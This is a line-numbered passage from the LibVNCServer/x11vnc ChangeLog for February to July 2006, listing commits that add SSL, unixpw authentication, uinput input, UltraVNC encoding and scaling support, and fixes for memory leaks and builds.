x11vnc/pointer.c, 5150 x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: 5151 x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer 5152 project 5153 5154 2006-07-29 runge <runge> 5155 5156 * classes/ssl/ssl_vncviewer: one more tweak, start from disp 30 5157 5158 2006-07-29 runge <runge> 5159 5160 * classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config. 5161 5162 2006-07-28 runge <runge> 5163 5164 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, 5165 x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c, 5166 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5167 x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c, 5168 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5169 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, 5170 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5171 x11vnc/x11vnc_defs.c: x11vnc: -rotate option 5172 5173 2006-07-18 runge <runge> 5174 5175 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, 5176 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, 5177 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, 5178 x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h, 5179 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, 5180 x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, 5181 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c, 5182 x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5183 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5184 x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x 5185 builds for -rawfb only binaries. 5186 5187 2006-07-15 runge <runge> 5188 5189 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, 5190 x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5191 x11vnc/x11vnc_defs.c: update versions for next rel. add some more 5192 shortcuts to user:opts 5193 5194 2006-07-12 runge <runge> 5195 5196 * ChangeLog, configure.ac: LibVNCServer 0.8.2 release. 5197 5198 2006-07-12 runge <runge> 5199 5200 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5201 x11vnc/x11vnc_defs.c: set REL8x 5202 5203 2006-07-12 runge <runge> 5204 5205 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, 5206 x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c, 5207 x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording 5208 changes; remove "-rawfb cons" in favor of "console" 5209 5210 2006-07-11 runge <runge> 5211 5212 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5213 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, 5214 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, 5215 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more 5216 UINPUT mode tweaks. 5217 5218 2006-07-10 runge <runge> 5219 5220 * x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c, 5221 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c, 5222 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5223 x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button 5224 clicks work on qt-embedded. 5225 5226 2006-07-09 runge <runge> 5227 5228 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5229 x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, 5230 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 5231 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, 5232 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, 5233 x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, 5234 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support 5235 for full input into linux fb device (e.g. qt-embed). 5236 5237 2006-07-05 runge <runge> 5238 5239 * x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong 5240 place for old compilers. 5241 5242 2006-07-04 runge <runge> 5243 5244 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, 5245 x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return 5246 values. 5247 5248 2006-07-04 runge <runge> 5249 5250 * x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c, 5251 x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps. 5252 5253 2006-07-04 runge <runge> 5254 5255 * configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c, 5256 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c, 5257 x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove 5258 compiler warnings; HP-UX tweaks. 5259 5260 2006-07-04 runge <runge> 5261 5262 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 5263 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5264 x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, 5265 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, 5266 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c, 5267 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, 5268 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5269 x11vnc/xevents.c: x11vnc: more -unixpw work. add -license, etc. 5270 options 5271 5272 2006-06-24 runge <runge> 5273 5274 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5275 x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c, 5276 x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c, 5277 x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, 5278 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5279 x11vnc/xwrappers.c: x11vnc: misc cleanup. 5280 5281 2006-06-18 runge <runge> 5282 5283 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 5284 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, 5285 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 5286 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, 5287 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 5288 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 5289 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5290 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 5291 x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c, 5292 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5293 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5294 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h, 5295 x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds, 5296 unixpw+WAIT user fred:options 5297 5298 2006-06-15 dscho <dscho> 5299 5300 * VisualNaCro/README: fix typo 5301 5302 2006-06-15 dscho <dscho> 5303 5304 * VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: 5305 no need for Time::HiRes to play back 5306 5307 2006-06-15 dscho <dscho> 5308 5309 * VisualNaCro/recorder.pl: add timing 5310 5311 2006-06-13 runge <runge> 5312 5313 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5314 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 5315 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 5316 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 5317 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, 5318 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5319 x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY, 5320 HTTPONCE, -http_ssl option, Java fixes. 5321 5322 2006-06-09 runge <runge> 5323 5324 * x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: 5325 x11vnc: make -display WAIT + -unixpw work on Solaris. 5326 5327 2006-06-08 runge <runge> 5328 5329 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 5330 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 5331 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c, 5332 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c, 5333 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5334 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, 5335 x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5336 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 5337 x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 5338 x11vnc/xwrappers.h: x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command. 5339 5340 2006-06-05 steven_carr <steven_carr> 5341 5342 * libvncclient/rfbproto.c, libvncserver/auth.c, 5343 libvncserver/rfbserver.c: RFB 3.8 clients are well informed 5344 5345 2006-06-05 steven_carr <steven_carr> 5346 5347 * libvncserver/auth.c: Better support for RFB >= 3.8 protocols 5348 5349 2006-06-05 steven_carr <steven_carr> 5350 5351 * libvncserver/auth.c: All security types for RFB >= 3.7 *have* to 5352 respond with a Security Result (Even rfbSecTypeNone) 5353 5354 2006-06-03 runge <runge> 5355 5356 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5357 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, 5358 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, 5359 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5360 x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 5361 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5362 x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c, 5363 x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5364 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 5365 x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons. 5366 5367 2006-06-03 runge <runge> 5368 5369 * libvncserver/auth.c: move all types into handler loop. 5370 5371 2006-05-29 steven_carr <steven_carr> 5372 5373 * ChangeLog: Identified and removed some memory leaks associated 5374 with the Encodings RRE, CoRRE, ZLIB, and Ultra. KeyboardLedState 5375 now has portable masks defined. rfb >= 3.7 Security Type Handler 5376 list would grow 1 entry for each new client connection. 5377 5378 2006-05-29 steven_carr <steven_carr> 5379 5380 * libvncserver/auth.c: Security Type memory leak plugged. Leaks 5381 when rfb >= 3.7 clients connects. The security list would grow 1 5382 entry when clients connect. 5383 5384 2006-05-28 steven_carr <steven_carr> 5385 5386 * rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined 5387 for portability 5388 5389 2006-05-28 steven_carr <steven_carr> 5390 5391 * libvncserver/corre.c, libvncserver/main.c, 5392 libvncserver/private.h, libvncserver/rfbserver.c, 5393 libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: 5394 Plugged some memory leakage 5395 5396 2006-05-16 steven_carr <steven_carr> 5397 5398 * libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major 5399 version 5400 5401 2006-05-16 steven_carr <steven_carr> 5402 5403 * libvncserver/auth.c: Specifically test for Major Version 3 added 5404 5405 2006-05-16 steven_carr <steven_carr> 5406 5407 * ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column 5408 output 5409 5410 2006-05-16 steven_carr <steven_carr> 5411 5412 * libvncserver/stats.c: Statistics output now fits in 80-column 5413 output 5414 5415 2006-05-16 steven_carr <steven_carr> 5416 5417 * libvncserver/cursor.c: Corrected Cursor Statistics reporting as 5418 messages 5419 5420 2006-05-15 dscho <dscho> 5421 5422 * libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded 5423 file 5424 5425 2006-05-15 steven_carr <steven_carr> 5426 5427 * libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat 5428 messages back to the client 5429 5430 2006-05-15 steven_carr <steven_carr> 5431 5432 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 5433 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB 5434 3.8, add command line option to specify the RFB version. 5435 5436 2006-05-15 steven_carr <steven_carr> 5437 5438 * ChangeLog, client_examples/SDLvncviewer.c, 5439 libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c, 5440 libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c, 5441 libvncserver/hextile.c, libvncserver/main.c, 5442 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, 5443 libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c, 5444 libvncserver/tightvnc-filetransfer/rfbtightproto.h, 5445 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, 5446 rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c, 5447 x11vnc/userinput.c: The great UltraVNC Compatibility Commit 5448 5449 2006-05-13 runge <runge> 5450 5451 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, 5452 libvncclient/minilzo.c, libvncclient/minilzo.h, 5453 libvncserver/lzoconf.h, libvncserver/minilzo.c, 5454 libvncserver/minilzo.h, libvncserver/rfbserver.c, 5455 libvncserver/scale.c, vncterm/Makefile.am: fix some build issues WRT ultravnc code. 5456 5457 2006-05-07 runge <runge> 5458 5459 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, 5460 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, 5461 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 5462 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c, 5463 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c, 5464 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5465 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, 5466 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5467 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c, 5468 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5469 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5470 x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c, 5471 x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 5472 x11vnc/xwrappers.h: x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp 5473 option, -rawfb console. 5474 5475 2006-05-04 steven_carr <steven_carr> 5476 5477 * ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c, 5478 rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability 5479 Encodings rfbEncodingSupportedEncodings - What encodings are 5480 supported? rfbEncodingSupportedMessages - What message types are 5481 supported? rfbEncodingServerIdentity - What is the servers 5482 version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer 5483 0.9pre)" 5484 5485 2006-05-04 steven_carr <steven_carr> 5486 5487 * libvncclient/rfbproto.c: UltraVNC with scaling, will send 5488 rectangles with a zero W or H We need to process the rectangle 5489 (especially if it a type that contains subrectangles or any kind of 5490 compression). UltraVNC should be fixed to prevent these useless 5491 rectangles from being sent. 5492 5493 2006-05-04 steven_carr <steven_carr> 5494 5495 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 5496 rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server 5497 Side Scaling' 5498 5499 2006-05-04 steven_carr <steven_carr> 5500 5501 * rfb/rfbproto.h: KeyboardLedState should be placed in 'various 5502 protocol extensions' 5503 5504 2006-05-03 steven_carr <steven_carr> 5505 5506 * ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c, 5507 libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c, 5508 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, 5509 libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c, 5510 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, 5511 rfb/rfb.h: Client Independent Server Side Scaling is now supported 5512 Both PalmVNC and UltraVNC SetScale messages are supported 5513 5514 2006-05-02 steven_carr <steven_carr> 5515 5516 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, 5517 libvncclient/minilzo.c, libvncclient/minilzo.h, 5518 libvncclient/rfbproto.c, libvncclient/ultra.c, 5519 libvncclient/vncviewer.c, libvncserver/Makefile.am, 5520 libvncserver/lzoconf.h, libvncserver/minilzo.c, 5521 libvncserver/minilzo.h, libvncserver/rfbserver.c, 5522 libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding 5523 added. Tested against UltraVNC V1.01 5524 5525 2006-05-02 steven_carr <steven_carr> 5526 5527 * libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed 5528 5529 2006-05-02 steven_carr <steven_carr> 5530 5531 * libvncclient/vncviewer.c: Eliminate incompatible pointer 5532 assignment warning (gcc 4.0.1) 5533 5534 2006-05-02 steven_carr <steven_carr> 5535 5536 * libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: 5537 signed vs unsigned warnings eliminated (gcc 4.0.1) 5538 5539 2006-04-30 dscho <dscho> 5540 5541 * examples/Makefile.am: include rotatetemplate.c in the tarball 5542 5543 2006-04-28 dscho <dscho> 5544 5545 * client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, 5546 rfb/rfbclient.h: libvncclient: support changing of framebuffer size; 5547 make SDLvncviewer use it 5548 5549 2006-04-28 dscho <dscho> 5550 5551 * client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which 5552 are not divisible by 8 5553 5554 2006-04-27 dscho <dscho> 5555 5556 * ChangeLog, examples/.cvsignore, examples/Makefile.am, 5557 examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: 5558 add rotate and flip example 5559 5560 2006-04-27 dscho <dscho> 5561 5562 * examples/camera.c: malloc.h should not be needed (it is missing on 5563 quite a few platforms) 5564 5565 2006-04-26 runge <runge> 5566 5567 * ChangeLog, classes/ssl/ssl_vncviewer, 5568 client_examples/Makefile.am, configure.ac, contrib/Makefile.am, 5569 examples/Makefile.am, libvncclient/Makefile.am, 5570 libvncserver/Makefile.am, 5571 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am, 5572 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c, 5573 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5574 x11vnc/x11vnc_defs.c: Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h 5575 5576 2006-04-17 steven_carr <steven_carr> 5577 5578 * ChangeLog, examples/Makefile.am, examples/camera.c: Added an 5579 example camera application to demonstrate another way to write a 5580 server application. 5581 5582 2006-04-16 runge <runge> 5583 5584 * classes/ssl/ssl_vncviewer, 5585 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5586 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 5587 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 5588 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Apache SSL gateway. More web proxy cases for Java and 5589 ssl_vncviewer. 5590 5591 2006-04-05 runge <runge> 5592 5593 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/README, 5594 classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer, 5595 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5596 configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 5597 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, 5598 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c, 5599 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h, 5600 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, 5601 x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 5602 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5603 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5604 x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert 5605 management utils for x11vnc. FBPM "support". 5606 5607 2006-03-28 dscho <dscho> 5608 5609 * ChangeLog, client_examples/SDLvncviewer.c, 5610 libvncclient/rfbproto.c, libvncclient/vncviewer.c, 5611 libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, 5612 rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension 5613 5614 2006-03-28 runge <runge> 5615 5616 * ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am, 5617 classes/ssl/index.vnc, 5618 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 5619 -traversal.patch, 5620 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5621 configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh, 5622 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5623 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5624 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, 5625 x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c, 5626 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c, 5627 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, 5628 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 5629 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5630 x11vnc/xwrappers.c: SSL patch for Java viewer. https support for x11vnc. 5631 5632 2006-03-27 dscho <dscho> 5633 5634 * AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore 5635 maxRectsPerUpdate when encoding is Zlib (thanks scarr) 5636 5637 2006-03-27 dscho <dscho> 5638 5639 * libvncclient/vncviewer.c: libvncclient: take -compress <level> and 5640 -quality <level> command line arguments 5641 5642 2006-03-12 runge <runge> 5643 5644 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5645 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 5646 x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c, 5647 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5648 x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c, 5649 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, 5650 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 5651 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5652 x11vnc/xevents.c: x11vnc: add -ssl mode using libssl. Include Xdummy in misc. 5653 5654 2006-03-08 runge <runge> 5655 5656 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 5657 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5658 x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h, 5659 x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5660 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5661 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw, 5662 -debug_sel, -storepasswd homedir. 5663 5664 2006-03-06 runge <runge> 5665 5666 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 5667 x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, 5668 x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c, 5669 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 5670 x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5671 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: gui speedup and fixes. -unixpw and -inetd 5672 5673 2006-03-05 runge <runge> 5674 5675 * configure.ac, x11vnc/ChangeLog, x11vnc/README, 5676 x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c, 5677 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5678 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc, 5679 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 5680 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5681 x11vnc/x11vnc_defs.c: x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel 5682 and gui tweaks. 5683 5684 2006-03-03 runge <runge> 5685 5686 * configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 5687 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, 5688 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, 5689 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 5690 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5691 x11vnc/x11vnc_defs.c: x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via 5692 -R. Tune SMALL_FOOTPRINT. 5693 5694 2006-03-01 dscho <dscho> 5695 5696 * examples/Makefile.am, examples/blooptest.c, examples/example.c: 5697 Fix blooptest example 5698 5699 2006-03-01 dscho <dscho> 5700 5701 * rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h 5702 5703 2006-03-01 dscho <dscho> 5704 5705 * libvncserver/main.c: do not timeout on idle client input (with 5706 pthreads) 5707 5708 2006-03-01 dscho <dscho> 5709 5710 * examples/Makefile.am: if compiling with pthreads, also compile 5711 blooptest 5712 5713 2006-02-28 dscho <dscho> 5714 5715 * libvncserver/sockets.c: rfbCheckFds now returns the number of 5716 processed events 5717 5718 2006-02-28 dscho <dscho> 5719 5720 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c, 5721 rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald) 5722 5723 2006-02-25 runge <runge> 5724 5725 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5726 x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c, 5727 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 5728 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 5729 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 5730 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5731 x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 5732 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 5733 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, 5734 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5735 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 5736 x11vnc/xrecord.c: x11vnc: -unixpw and -stunnel. Add clipboard to input control. 5737 5738 2006-02-24 rohit_99129 <rohit_99129> 5739 5740 * libvncserver/main.c, rfb/rfb.h: Added method to get extension 5741 specific client data 5742 5743 